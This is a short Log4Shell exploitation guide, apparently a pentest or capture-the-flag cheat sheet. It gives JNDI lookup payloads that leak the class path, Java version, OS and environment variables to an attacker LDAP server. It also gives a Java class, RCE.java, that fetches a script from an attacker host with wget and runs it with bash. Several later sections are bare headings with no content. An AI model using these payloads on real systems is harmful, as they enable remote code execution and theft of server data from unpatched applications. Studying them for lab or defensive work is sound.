Log4Shell Exploitation Guide
Enumerate Log4Shell
#Enumerate the server information
${jndi:ldap://10.10.14.6:1389/${sys:java.class.path}}
${jndi:ldap://10.10.14.6:1389/${java:version}}
${jndi:ldap://10.10.14.6:1389/${java:os}}
${jndi:ldap://10.10.14.6:1389/${env:myenv}}Method #1 Manual Way
Install Dependencies
sudo apt install maven openjdk-17-jdk -yCreating the Malicious Java Class
RCE.java
public class RCE {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec("wget http://KALIIP/x -O /tmp/x");
p.waitFor();
r = Runtime.getRuntime();
p = r.exec("/bin/bash /tmp/x");
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public RCE() {
System.out.println("Is this RCE?");
}
}Compile the Payload
Setting Up the JNDI Exploit Server
Clone and Build marshalsec
marshalsecStart the LDAP Server
Reverse Shell Payload
Exploiting Log4Shell
Notes


Method #2 ysoserial-modified
Last updated